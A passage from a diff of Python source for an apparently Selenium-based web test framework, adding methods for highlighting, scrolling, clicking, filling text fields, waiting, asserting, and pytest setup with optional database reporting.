+                o_bs = original_box_shadow
+
+        script = """jQuery('%s').css('box-shadow',
+            '0px 0px 6px 6px rgba(128, 128, 128, 0.5)');""" % selector
+        try:
+            self.execute_script(script)
+        except Exception:
+            self.activate_jquery()
+            self.execute_script(script)
+        if self.highlights:
+            loops = self.highlights
+        loops = int(loops)
+        for n in xrange(loops):
+            script = """jQuery('%s').css('box-shadow',
+                '0px 0px 6px 6px rgba(255, 0, 0, 1)');""" % selector
+            self.execute_script(script)
+            time.sleep(0.02)
+            script = """jQuery('%s').css('box-shadow',
+                '0px 0px 6px 6px rgba(128, 0, 128, 1)');""" % selector
+            self.execute_script(script)
+            time.sleep(0.02)
+            script = """jQuery('%s').css('box-shadow',
+                '0px 0px 6px 6px rgba(0, 0, 255, 1)');""" % selector
+            self.execute_script(script)
+            time.sleep(0.02)
+            script = """jQuery('%s').css('box-shadow',
+                '0px 0px 6px 6px rgba(0, 255, 0, 1)');""" % selector
+            self.execute_script(script)
+            time.sleep(0.02)
+            script = """jQuery('%s').css('box-shadow',
+                '0px 0px 6px 6px rgba(128, 128, 0, 1)');""" % selector
+            self.execute_script(script)
+            time.sleep(0.02)
+            script = """jQuery('%s').css('box-shadow',
+                '0px 0px 6px 6px rgba(128, 0, 128, 1)');""" % selector
+            self.execute_script(script)
+            time.sleep(0.02)
+
+        script = """jQuery('%s').css('box-shadow', '%s');""" % (selector, o_bs)
+        self.execute_script(script)
+        time.sleep(0.065)
+
+    def scroll_to(self, selector, by=By.CSS_SELECTOR,
+                  timeout=settings.SMALL_TIMEOUT):
+        ''' Fast scroll to destination '''
+        if self.timeout_multiplier and timeout == settings.SMALL_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        element = self.wait_for_element_visible(
+            selector, by=by, timeout=timeout)
+        try:
+            self._scroll_to_element(element)
+        except StaleElementReferenceException:
+            self.wait_for_ready_state_complete()
+            time.sleep(0.05)
+            element = self.wait_for_element_visible(
+                selector, by=by, timeout=timeout)
+            self._scroll_to_element(element)
+
+    def slow_scroll_to(self, selector, by=By.CSS_SELECTOR,
+                       timeout=settings.SMALL_TIMEOUT):
+        ''' Slow motion scroll to destination '''
+        if self.timeout_multiplier and timeout == settings.SMALL_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        element = self.wait_for_element_visible(
+            selector, by=by, timeout=timeout)
+        self._slow_scroll_to_element(element)
+
+    def scroll_click(self, selector, by=By.CSS_SELECTOR):
+        self.scroll_to(selector, by=by)
+        self.click(selector, by=by)
+
+    def click_xpath(self, xpath):
+        self.click(xpath, by=By.XPATH)
+
+    def jquery_click(self, selector, by=By.CSS_SELECTOR):
+        if page_utils.is_xpath_selector(selector):
+            by = By.XPATH
+        selector = self.convert_to_css_selector(selector, by=by)
+        self.wait_for_element_present(
+            selector, by=by, timeout=settings.SMALL_TIMEOUT)
+        if self.is_element_visible(selector, by=by):
+            self._demo_mode_highlight_if_active(selector, by)
+
+        # Only get the first match
+        last_syllable = selector.split(' ')[-1]
+        if ':' not in last_syllable:
+            selector += ':first'
+
+        click_script = """jQuery('%s')[0].click()""" % selector
+        try:
+            self.execute_script(click_script)
+        except Exception:
+            # The likely reason this fails is because: "jQuery is not defined"
+            self.activate_jquery()  # It's a good thing we can define it here
+            self.execute_script(click_script)
+        self._demo_mode_pause_if_active()
+
+    def jq_format(self, code):
+        return page_utils.jq_format(code)
+
+    def get_domain_url(self, url):
+        return page_utils.get_domain_url(url)
+
+    def download_file(self, file_url, destination_folder=None):
+        """ Downloads the file from the url to the destination folder.
+            If no destination folder is specified, the default one is used. """
+        if not destination_folder:
+            destination_folder = constants.Files.DOWNLOADS_FOLDER
+        page_utils._download_file_to(file_url, destination_folder)
+
+    def save_file_as(self, file_url, new_file_name, destination_folder=None):
+        """ Similar to self.download_file(), except that you get to rename the
+            file being downloaded to whatever you want. """
+        if not destination_folder:
+            destination_folder = constants.Files.DOWNLOADS_FOLDER
+        page_utils._download_file_to(
+            file_url, destination_folder, new_file_name)
+
+    def convert_xpath_to_css(self, xpath):
+        return xpath_to_css.convert_xpath_to_css(xpath)
+
+    def convert_to_css_selector(self, selector, by):
+        """ This method converts a selector to a CSS_SELECTOR.
+            jQuery commands require a CSS_SELECTOR for finding elements.
+            This method should only be used for jQuery actions. """
+        if by == By.CSS_SELECTOR:
+            return selector
+        elif by == By.ID:
+            return '#%s' % selector
+        elif by == By.CLASS_NAME:
+            return '.%s' % selector
+        elif by == By.NAME:
+            return '[name="%s"]' % selector
+        elif by == By.TAG_NAME:
+            return selector
+        elif by == By.XPATH:
+            return self.convert_xpath_to_css(selector)
+        elif by == By.LINK_TEXT:
+            return 'a:contains("%s")' % selector
+        elif by == By.PARTIAL_LINK_TEXT:
+            return 'a:contains("%s")' % selector
+        else:
+            raise Exception(
+                "Exception: Could not convert [%s](by=%s) to CSS_SELECTOR!" % (
+                    selector, by))
+
+    def set_value(self, selector, new_value, by=By.CSS_SELECTOR,
+                  timeout=settings.SMALL_TIMEOUT):
+        """ This method uses jQuery to update a text field. """
+        if self.timeout_multiplier and timeout == settings.SMALL_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        if page_utils.is_xpath_selector(selector):
+            by = By.XPATH
+        selector = self.convert_to_css_selector(selector, by=by)
+        self._demo_mode_highlight_if_active(selector, by)
+        self.scroll_to(selector, by=by, timeout=timeout)
+        value = json.dumps(new_value)
+
+        # Only get the first match
+        last_syllable = selector.split(' ')[-1]
+        if ':' not in last_syllable:
+            selector += ':first'
+
+        set_value_script = """jQuery('%s').val(%s)""" % (selector, value)
+        try:
+            self.execute_script(set_value_script)
+        except Exception:
+            # The likely reason this fails is because: "jQuery is not defined"
+            self.activate_jquery()  # It's a good thing we can define it here
+            self.execute_script(set_value_script)
+        self._demo_mode_pause_if_active()
+
+    def jquery_update_text_value(self, selector, new_value, by=By.CSS_SELECTOR,
+                                 timeout=settings.SMALL_TIMEOUT):
+        """ This method uses jQuery to update a text field.
+            If the new_value string ends with the newline character,
+            WebDriver will finish the call, which simulates pressing
+            {Enter/Return} after the text is entered.  """
+        if self.timeout_multiplier and timeout == settings.SMALL_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        if page_utils.is_xpath_selector(selector):
+            by = By.XPATH
+        element = self.wait_for_element_visible(
+            selector, by=by, timeout=timeout)
+        self._demo_mode_highlight_if_active(selector, by)
+        self.scroll_to(selector, by=by)
+        selector = self.convert_to_css_selector(selector, by=by)
+
+        # Only get the first match
+        last_syllable = selector.split(' ')[-1]
+        if ':' not in last_syllable:
+            selector += ':first'
+
+        update_text_script = """jQuery('%s').val('%s')""" % (
+            selector, self.jq_format(new_value))
+        try:
+            self.execute_script(update_text_script)
+        except Exception:
+            # The likely reason this fails is because: "jQuery is not defined"
+            self.activate_jquery()  # It's a good thing we can define it here
+            self.execute_script(update_text_script)
+        if new_value.endswith('\n'):
+            element.send_keys('\n')
+        self._demo_mode_pause_if_active()
+
+    def jquery_update_text(self, selector, new_value, by=By.CSS_SELECTOR,
+                           timeout=settings.SMALL_TIMEOUT):
+        """ The shorter version of jquery_update_text_value()
+            (The longer version remains for backwards compatibility.) """
+        if self.timeout_multiplier and timeout == settings.SMALL_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        self.jquery_update_text_value(
+            selector, new_value, by=by, timeout=timeout)
+
+    def hover_on_element(self, selector, by=By.CSS_SELECTOR):
+        self.wait_for_element_visible(
+            selector, by=by, timeout=settings.SMALL_TIMEOUT)
+        self._demo_mode_highlight_if_active(selector, by)
+        self.scroll_to(selector, by=by)
+        time.sleep(0.05)  # Settle down from scrolling before hovering
+        return page_actions.hover_on_element(self.driver, selector)
+
+    def hover_and_click(self, hover_selector, click_selector,
+                        hover_by=By.CSS_SELECTOR, click_by=By.CSS_SELECTOR,
+                        timeout=settings.SMALL_TIMEOUT):
+        if self.timeout_multiplier and timeout == settings.SMALL_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        if page_utils.is_xpath_selector(hover_selector):
+            hover_by = By.XPATH
+        if page_utils.is_xpath_selector(click_selector):
+            click_by = By.XPATH
+        self.wait_for_element_visible(
+            hover_selector, by=hover_by, timeout=timeout)
+        self._demo_mode_highlight_if_active(hover_selector, hover_by)
+        self.scroll_to(hover_selector, by=hover_by)
+        pre_action_url = self.driver.current_url
+        element = page_actions.hover_and_click(
+                self.driver, hover_selector, click_selector,
+                hover_by, click_by, timeout)
+        if self.demo_mode:
+            if self.driver.current_url != pre_action_url:
+                self._demo_mode_pause_if_active()
+            else:
+                self._demo_mode_pause_if_active(tiny=True)
+        return element
+
+    def pick_select_option_by_text(self, dropdown_selector, option,
+                                   dropdown_by=By.CSS_SELECTOR,
+                                   timeout=settings.SMALL_TIMEOUT):
+        """ Picks an HTML <select> option by option text. """
+        if self.timeout_multiplier and timeout == settings.SMALL_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        self._pick_select_option(dropdown_selector, option,
+                                 dropdown_by=dropdown_by, option_by="text",
+                                 timeout=timeout)
+
+    def pick_select_option_by_index(self, dropdown_selector, option,
+                                    dropdown_by=By.CSS_SELECTOR,
+                                    timeout=settings.SMALL_TIMEOUT):
+        """ Picks an HTML <select> option by option index. """
+        if self.timeout_multiplier and timeout == settings.SMALL_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        self._pick_select_option(dropdown_selector, option,
+                                 dropdown_by=dropdown_by, option_by="index",
+                                 timeout=timeout)
+
+    def pick_select_option_by_value(self, dropdown_selector, option,
+                                    dropdown_by=By.CSS_SELECTOR,
+                                    timeout=settings.SMALL_TIMEOUT):
+        """ Picks an HTML <select> option by option value. """
+        if self.timeout_multiplier and timeout == settings.SMALL_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        self._pick_select_option(dropdown_selector, option,
+                                 dropdown_by=dropdown_by, option_by="value",
+                                 timeout=timeout)
+
+    ############
+
+    def wait_for_element_present(self, selector, by=By.CSS_SELECTOR,
+                                 timeout=settings.LARGE_TIMEOUT):
+        """ Waits for an element to appear in the HTML of a page.
+            The element does not need be visible (it may be hidden). """
+        if self.timeout_multiplier and timeout == settings.LARGE_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        if page_utils.is_xpath_selector(selector):
+            by = By.XPATH
+        return page_actions.wait_for_element_present(
+            self.driver, selector, by, timeout)
+
+    def assert_element_present(self, selector, by=By.CSS_SELECTOR,
+                               timeout=settings.SMALL_TIMEOUT):
+        """ Similar to wait_for_element_present(), but returns nothing.
+            Waits for an element to appear in the HTML of a page.
+            The element does not need be visible (it may be hidden).
+            Returns True if successful. Default timeout = SMALL_TIMEOUT. """
+        if self.timeout_multiplier and timeout == settings.SMALL_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        self.wait_for_element_present(selector, by=by, timeout=timeout)
+        return True
+
+    # For backwards compatibility, earlier method names of the next
+    # four methods have remained even though they do the same thing,
+    # with the exception of assert_*, which won't return the element,
+    # but like the others, will raise an exception if the call fails.
+
+    def wait_for_element_visible(self, selector, by=By.CSS_SELECTOR,
+                                 timeout=settings.LARGE_TIMEOUT):
+        """ Waits for an element to appear in the HTML of a page.
+            The element must be visible (it cannot be hidden). """
+        if page_utils.is_xpath_selector(selector):
+            by = By.XPATH
+        return page_actions.wait_for_element_visible(
+            self.driver, selector, by, timeout)
+
+    def wait_for_element(self, selector, by=By.CSS_SELECTOR,
+                         timeout=settings.LARGE_TIMEOUT):
+        """ The shorter version of wait_for_element_visible() """
+        if self.timeout_multiplier and timeout == settings.LARGE_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        return self.wait_for_element_visible(selector, by=by, timeout=timeout)
+
+    def find_element(self, selector, by=By.CSS_SELECTOR,
+                     timeout=settings.LARGE_TIMEOUT):
+        """ Same as wait_for_element_visible() - returns the element """
+        if self.timeout_multiplier and timeout == settings.LARGE_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        return self.wait_for_element_visible(selector, by=by, timeout=timeout)
+
+    def assert_element(self, selector, by=By.CSS_SELECTOR,
+                       timeout=settings.SMALL_TIMEOUT):
+        """ Similar to wait_for_element_visible(), but returns nothing.
+            As above, will raise an exception if nothing can be found.
+            Returns True if successful. Default timeout = SMALL_TIMEOUT. """
+        if self.timeout_multiplier and timeout == settings.SMALL_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        self.wait_for_element_visible(selector, by=by, timeout=timeout)
+        return True
+
+    # For backwards compatibility, earlier method names of the next
+    # four methods have remained even though they do the same thing,
+    # with the exception of assert_*, which won't return the element,
+    # but like the others, will raise an exception if the call fails.
+
+    def wait_for_text_visible(self, text, selector, by=By.CSS_SELECTOR,
+                              timeout=settings.LARGE_TIMEOUT):
+        if self.timeout_multiplier and timeout == settings.LARGE_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        if page_utils.is_xpath_selector(selector):
+            by = By.XPATH
+        return page_actions.wait_for_text_visible(
+            self.driver, text, selector, by, timeout)
+
+    def wait_for_text(self, text, selector, by=By.CSS_SELECTOR,
+                      timeout=settings.LARGE_TIMEOUT):
+        """ The shorter version of wait_for_text_visible() """
+        if self.timeout_multiplier and timeout == settings.LARGE_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        return self.wait_for_text_visible(
+            text, selector, by=by, timeout=timeout)
+
+    def find_text(self, text, selector, by=By.CSS_SELECTOR,
+                  timeout=settings.LARGE_TIMEOUT):
+        """ Same as wait_for_text_visible() - returns the element """
+        if self.timeout_multiplier and timeout == settings.LARGE_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        return self.wait_for_text_visible(
+            text, selector, by=by, timeout=timeout)
+
+    def assert_text(self, text, selector, by=By.CSS_SELECTOR,
+                    timeout=settings.SMALL_TIMEOUT):
+        """ Similar to wait_for_text_visible(), but returns nothing.
+            As above, will raise an exception if nothing can be found.
+            Returns True if successful. Default timeout = SMALL_TIMEOUT. """
+        if self.timeout_multiplier and timeout == settings.SMALL_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        self.wait_for_text_visible(text, selector, by=by, timeout=timeout)
+        return True
+
+    # For backwards compatibility, earlier method names of the next
+    # four methods have remained even though they do the same thing,
+    # with the exception of assert_*, which won't return the element,
+    # but like the others, will raise an exception if the call fails.
+
+    def wait_for_link_text_visible(self, link_text,
+                                   timeout=settings.LARGE_TIMEOUT):
+        if self.timeout_multiplier and timeout == settings.LARGE_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        return self.wait_for_element_visible(
+            link_text, by=By.LINK_TEXT, timeout=timeout)
+
+    def wait_for_link_text(self, link_text, timeout=settings.LARGE_TIMEOUT):
+        """ The shorter version of wait_for_link_text_visible() """
+        if self.timeout_multiplier and timeout == settings.LARGE_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        return self.wait_for_link_text_visible(link_text, timeout=timeout)
+
+    def find_link_text(self, link_text, timeout=settings.LARGE_TIMEOUT):
+        """ Same as wait_for_link_text_visible() - returns the element """
+        if self.timeout_multiplier and timeout == settings.LARGE_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        return self.wait_for_link_text_visible(link_text, timeout=timeout)
+
+    def assert_link_text(self, link_text, timeout=settings.SMALL_TIMEOUT):
+        """ Similar to wait_for_link_text_visible(), but returns nothing.
+            As above, will raise an exception if nothing can be found.
+            Returns True if successful. Default timeout = SMALL_TIMEOUT. """
+        if self.timeout_multiplier and timeout == settings.SMALL_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        self.wait_for_link_text_visible(link_text, timeout=timeout)
+        return True
+
+    # For backwards compatibility, earlier method names of the next
+    # four methods have remained even though they do the same thing,
+    # with the exception of assert_*, which won't return the element,
+    # but like the others, will raise an exception if the call fails.
+
+    def wait_for_partial_link_text(self, partial_link_text,
+                                   timeout=settings.LARGE_TIMEOUT):
+        if self.timeout_multiplier and timeout == settings.LARGE_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        return self.wait_for_element_visible(
+            partial_link_text, by=By.PARTIAL_LINK_TEXT, timeout=timeout)
+
+    def find_partial_link_text(self, partial_link_text,
+                               timeout=settings.LARGE_TIMEOUT):
+        """ Same as wait_for_partial_link_text() - returns the element """
+        if self.timeout_multiplier and timeout == settings.LARGE_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        return self.wait_for_partial_link_text(
+            partial_link_text, timeout=timeout)
+
+    def assert_partial_link_text(self, partial_link_text,
+                                 timeout=settings.SMALL_TIMEOUT):
+        """ Similar to wait_for_partial_link_text(), but returns nothing.
+            As above, will raise an exception if nothing can be found.
+            Returns True if successful. Default timeout = SMALL_TIMEOUT. """
+        if self.timeout_multiplier and timeout == settings.SMALL_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        self.wait_for_partial_link_text(partial_link_text, timeout=timeout)
+        return True
+
+    ############
+
+    def wait_for_element_absent(self, selector, by=By.CSS_SELECTOR,
+                                timeout=settings.LARGE_TIMEOUT):
+        """ Waits for an element to no longer appear in the HTML of a page.
+            A hidden element still counts as appearing in the page HTML.
+            If an element with "hidden" status is acceptable,
+            use wait_for_element_not_visible() instead. """
+        if self.timeout_multiplier and timeout == settings.LARGE_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        if page_utils.is_xpath_selector(selector):
+            by = By.XPATH
+        return page_actions.wait_for_element_absent(
+            self.driver, selector, by, timeout)
+
+    def assert_element_absent(self, selector, by=By.CSS_SELECTOR,
+                              timeout=settings.SMALL_TIMEOUT):
+        """ Similar to wait_for_element_absent() - returns nothing.
+            As above, will raise an exception if the element stays present.
+            Returns True if successful. Default timeout = SMALL_TIMEOUT. """
+        if self.timeout_multiplier and timeout == settings.SMALL_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        self.wait_for_element_absent(selector, by=by, timeout=timeout)
+        return True
+
+    ############
+
+    def wait_for_element_not_visible(self, selector, by=By.CSS_SELECTOR,
+                                     timeout=settings.LARGE_TIMEOUT):
+        """ Waits for an element to no longer be visible on a page.
+            The element can be non-existant in the HTML or hidden on the page
+            to qualify as not visible. """
+        if self.timeout_multiplier and timeout == settings.LARGE_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        if page_utils.is_xpath_selector(selector):
+            by = By.XPATH
+        return page_actions.wait_for_element_not_visible(
+            self.driver, selector, by, timeout)
+
+    def assert_element_not_visible(self, selector, by=By.CSS_SELECTOR,
+                                   timeout=settings.SMALL_TIMEOUT):
+        """ Similar to wait_for_element_not_visible() - returns nothing.
+            As above, will raise an exception if the element stays visible.
+            Returns True if successful. Default timeout = SMALL_TIMEOUT. """
+        if self.timeout_multiplier and timeout == settings.SMALL_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        self.wait_for_element_not_visible(selector, by=by, timeout=timeout)
+        return True
+
+    ############
+
+    def wait_for_ready_state_complete(self, timeout=settings.EXTREME_TIMEOUT):
+        if self.timeout_multiplier and timeout == settings.EXTREME_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        is_ready = page_actions.wait_for_ready_state_complete(self.driver,
+                                                              timeout)
+        self.wait_for_angularjs()
+        return is_ready
+
+    def wait_for_angularjs(self, timeout=settings.EXTREME_TIMEOUT, **kwargs):
+        if self.timeout_multiplier and timeout == settings.EXTREME_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        if not settings.WAIT_FOR_ANGULARJS:
+            return
+
+        NG_WRAPPER = '%(prefix)s' \
+                     'var $elm=document.querySelector(' \
+                     '\'[data-ng-app],[ng-app],.ng-scope\')||document;' \
+                     'if(window.angular && angular.getTestability){' \
+                     'angular.getTestability($elm).whenStable(%(handler)s)' \
+                     '}else{' \
+                     'var $inj;try{$inj=angular.element($elm).injector()||' \
+                     'angular.injector([\'ng\'])}catch(ex){' \
+                     '$inj=angular.injector([\'ng\'])};$inj.get=$inj.get||' \
+                     '$inj;$inj.get(\'$browser\').' \
+                     'notifyWhenNoOutstandingRequests(%(handler)s)}' \
+                     '%(suffix)s'
+        def_pre = 'var cb=arguments[arguments.length-1];if(window.angular){'
+        prefix = kwargs.pop('prefix', def_pre)
+        handler = kwargs.pop('handler', 'function(){cb(true)}')
+        suffix = kwargs.pop('suffix', '}else{cb(false)}')
+        script = NG_WRAPPER % {'prefix': prefix,
+                               'handler': handler,
+                               'suffix': suffix}
+        try:
+            self.execute_async_script(script, timeout=timeout)
+        except TimeoutException:
+            pass  # lets hope things are better when we try to use it
+
+    def wait_for_and_accept_alert(self, timeout=settings.LARGE_TIMEOUT):
+        if self.timeout_multiplier and timeout == settings.LARGE_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        return page_actions.wait_for_and_accept_alert(self.driver, timeout)
+
+    def wait_for_and_dismiss_alert(self, timeout=settings.LARGE_TIMEOUT):
+        if self.timeout_multiplier and timeout == settings.LARGE_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        return page_actions.wait_for_and_dismiss_alert(self.driver, timeout)
+
+    def wait_for_and_switch_to_alert(self, timeout=settings.LARGE_TIMEOUT):
+        if self.timeout_multiplier and timeout == settings.LARGE_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        return page_actions.wait_for_and_switch_to_alert(self.driver, timeout)
+
+    def switch_to_frame(self, frame, timeout=settings.SMALL_TIMEOUT):
+        if self.timeout_multiplier and timeout == settings.SMALL_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        page_actions.switch_to_frame(self.driver, frame, timeout)
+
+    def switch_to_window(self, window, timeout=settings.SMALL_TIMEOUT):
+        if self.timeout_multiplier and timeout == settings.SMALL_TIMEOUT:
+            timeout = self._get_new_timeout(timeout)
+        page_actions.switch_to_window(self.driver, window, timeout)
+
+    def switch_to_default_content(self):
+        self.driver.switch_to.default_content()
+
+    def save_screenshot(self, name, folder=None):
+        return page_actions.save_screenshot(self.driver, name, folder)
+
+    ############
+
+    def _get_new_timeout(self, timeout):
+        """ When using --timeout_multiplier=#.# """
+        try:
+            timeout_multiplier = float(self.timeout_multiplier)
+            if timeout_multiplier <= 0.5:
+                timeout_multiplier = 0.5
+            timeout = int(math.ceil(timeout_multiplier * timeout))
+            return timeout
+        except:
+            # Wrong data type for timeout_multiplier (expecting int or float)
+            return timeout
+
+    ############
+
+    def _get_exception_message(self):
+        """ This method extracts the message from an exception if there
+            was an exception that occurred during the test, assuming
+            that the exception was in a try/except block and not thrown. """
+        exception_info = sys.exc_info()[1]
+        if hasattr(exception_info, 'msg'):
+            exc_message = exception_info.msg
+        elif hasattr(exception_info, 'message'):
+            exc_message = exception_info.message
+        else:
+            exc_message = '(Unknown Exception)'
+        return exc_message
+
+    def _package_check(self):
+        current_url = self.driver.current_url
+        message = self._get_exception_message()
+        self.page_check_failures.append(
+                "CHECK #%s: (%s)\n %s" % (
+                    self.page_check_count, current_url, message))
+
+    def check_assert_element(self, selector, by=By.CSS_SELECTOR,
+                             timeout=settings.MINI_TIMEOUT):
+        """ A non-terminating assertion for an element on a page.
+            Any and all exceptions will be saved until the process_checks()
+            method is called from inside a test, likely at the end of it. """
+        self.page_check_count += 1
+        try:
+            self.wait_for_element_visible(selector, by=by, timeout=timeout)
+            return True
+        except Exception:
+            self._package_check()
+            return False
+
+    def check_assert_text(self, text, selector, by=By.CSS_SELECTOR,
+                          timeout=settings.MINI_TIMEOUT):
+        """ A non-terminating assertion for text from an element on a page.
+            Any and all exceptions will be saved until the process_checks()
+            method is called from inside a test, likely at the end of it. """
+        self.page_check_count += 1
+        try:
+            self.wait_for_text_visible(text, selector, by=by, timeout=timeout)
+            return True
+        except Exception:
+            self._package_check()
+            return False
+
+    def process_checks(self):
+        """ To be used at the end of any test that uses checks, which are
+            non-terminating verifications that will only raise an exception
+            after this method is called. Useful for pages with multiple
+            elements to be checked when you want to find as many failures
+            as possible on a page before making fixes.
+            Might be more useful if this method is called after processing
+            all the checks for a single html page, otherwise the screenshot
+            in the logs file won't match the location of the checks. """
+        if self.page_check_failures:
+            exception_output = ''
+            exception_output += "\n*** FAILED CHECKS FOR: %s\n" % self.id()
+            all_failing_checks = self.page_check_failures
+            self.page_check_failures = []
+            for tb in all_failing_checks:
+                exception_output += "%s\n" % tb
+            raise Exception(exception_output)
+
+    ############
+
+    def _pick_select_option(self, dropdown_selector, option,
+                            dropdown_by=By.CSS_SELECTOR, option_by="text",
+                            timeout=settings.SMALL_TIMEOUT):
+        """ Picks an HTML <select> option by specification.
+            Option specifications are by "text", "index", or "value".
+            Defaults to "text" if option_by is unspecified or unknown. """
+        element = self.find_element(
+            dropdown_selector, by=dropdown_by, timeout=timeout)
+        self._demo_mode_highlight_if_active(dropdown_selector, dropdown_by)
+        pre_action_url = self.driver.current_url
+        try:
+            if option_by == "index":
+                Select(element).select_by_index(option)
+            elif option_by == "value":
+                Select(element).select_by_value(option)
+            else:
+                Select(element).select_by_visible_text(option)
+        except StaleElementReferenceException:
+            self.wait_for_ready_state_complete()
+            time.sleep(0.05)
+            element = self.find_element(
+                dropdown_selector, by=dropdown_by, timeout=timeout)
+            if option_by == "index":
+                Select(element).select_by_index(option)
+            elif option_by == "value":
+                Select(element).select_by_value(option)
+            else:
+                Select(element).select_by_visible_text(option)
+        if settings.WAIT_FOR_RSC_ON_CLICKS:
+            self.wait_for_ready_state_complete()
+        if self.demo_mode:
+            if self.driver.current_url != pre_action_url:
+                self._demo_mode_pause_if_active()
+            else:
+                self._demo_mode_pause_if_active(tiny=True)
+
+    ############
+
+    def _demo_mode_pause_if_active(self, tiny=False):
+        if self.demo_mode:
+            if self.demo_sleep:
+                wait_time = float(self.demo_sleep)
+            else:
+                wait_time = settings.DEFAULT_DEMO_MODE_TIMEOUT
+            if not tiny:
+                time.sleep(wait_time)
+            else:
+                time.sleep(wait_time/3.4)
+
+    def _demo_mode_scroll_if_active(self, selector, by):
+        if self.demo_mode:
+            self.slow_scroll_to(selector, by=by)
+
+    def _demo_mode_highlight_if_active(self, selector, by):
+        if self.demo_mode:
+            # Includes self.slow_scroll_to(selector, by=by) by default
+            self.highlight(selector, by=by)
+
+    def _scroll_to_element(self, element):
+        element_location = element.location['y']
+        element_location = element_location - 130
+        if element_location < 0:
+            element_location = 0
+        scroll_script = "window.scrollTo(0, %s);" % element_location
+        # The old jQuery scroll_script required by=By.CSS_SELECTOR
+        # scroll_script = "jQuery('%s')[0].scrollIntoView()" % selector
+        self.execute_script(scroll_script)
+        self._demo_mode_pause_if_active(tiny=True)
+
+    def _slow_scroll_to_element(self, element):
+        scroll_position = self.execute_script("return window.scrollY;")
+        element_location = element.location['y']
+        element_location = element_location - 130
+        if element_location < 0:
+            element_location = 0
+        distance = element_location - scroll_position
+        if distance != 0:
+            total_steps = int(abs(distance) / 50.0) + 2.0
+            step_value = float(distance) / total_steps
+            new_position = scroll_position
+            for y in xrange(int(total_steps)):
+                time.sleep(0.0114)
+                new_position += step_value
+                scroll_script = "window.scrollTo(0, %s);" % new_position
+                self.execute_script(scroll_script)
+        time.sleep(0.01)
+        scroll_script = "window.scrollTo(0, %s);" % element_location
+        self.execute_script(scroll_script)
+        time.sleep(0.01)
+        if distance > 430 or distance < -300:
+            # Add small recovery time for long-distance slow-scrolling
+            time.sleep(0.162)
+
+
+# PyTest-Specific Code #
+
+    def setUp(self):
+        """
+        pytest-specific code
+        Be careful if a subclass of BaseCase overrides setUp()
+        You'll need to add the following line to the subclass setUp() method:
+        super(SubClassOfBaseCase, self).setUp()
+        """
+        self.is_pytest = None
+        try:
+            # This raises an exception if the test is not coming from pytest
+            self.is_pytest = pytest.config.option.is_pytest
+        except Exception:
+            # Not using pytest (probably nosetests)
+            self.is_pytest = False
+        if self.is_pytest:
+            test_id = "%s.%s.%s" % (self.__class__.__module__,
+                                    self.__class__.__name__,
+                                    self._testMethodName)
+            self.with_selenium = pytest.config.option.with_selenium
+            self.headless = pytest.config.option.headless
+            self.headless_active = False
+            self.with_testing_base = pytest.config.option.with_testing_base
+            self.with_db_reporting = pytest.config.option.with_db_reporting
+            self.with_s3_logging = pytest.config.option.with_s3_logging
+            self.with_screen_shots = pytest.config.option.with_screen_shots
+            self.with_basic_test_info = (
+                pytest.config.option.with_basic_test_info)
+            self.with_page_source = pytest.config.option.with_page_source
+            self.database_env = pytest.config.option.database_env
+            self.log_path = pytest.config.option.log_path
+            self.browser = pytest.config.option.browser
+            self.data = pytest.config.option.data
+            self.demo_mode = pytest.config.option.demo_mode
+            self.demo_sleep = pytest.config.option.demo_sleep
+            self.highlights = pytest.config.option.highlights
+            self.verify_delay = pytest.config.option.verify_delay
+            self.timeout_multiplier = pytest.config.option.timeout_multiplier
+            if self.with_db_reporting:
+                self.execution_guid = str(uuid.uuid4())
+                self.testcase_guid = None
+                self.execution_start_time = 0
+                self.case_start_time = 0
+                self.application = None
+                self.testcase_manager = None
+                self.error_handled = False
+                self.testcase_manager = TestcaseManager(self.database_env)
+                #
+                exec_payload = ExecutionQueryPayload()
+                exec_payload.execution_start_time = int(time.time() * 1000)
+                self.execution_start_time = exec_payload.execution_start_time
+                exec_payload.guid = self.execution_guid
+                exec_payload.username = getpass.getuser()
+                self.testcase_manager.insert_execution_data(exec_payload)
+                #
+                data_payload = TestcaseDataPayload()
+                self.testcase_guid = str(uuid.uuid4())
+                data_payload.guid = self.testcase_guid
+                data_payload.execution_guid = self.execution_guid
+                if self.with_selenium:
+                    data_payload.browser = self.browser
+                else:
+                    data_payload.browser = "N/A"
+                data_payload.testcaseAddress = test_id
+                application = ApplicationManager.generate_application_string(
+                    self._testMethodName)
+                data_payload.env = application.split('.')[0]
+                data_payload.start_time = application.split('.')[1]
+                data_payload.state = constants.State.NOTRUN
+                self.testcase_manager.insert_testcase_data(data_payload)
+                self.case_start_time = int(time.time() * 1000)
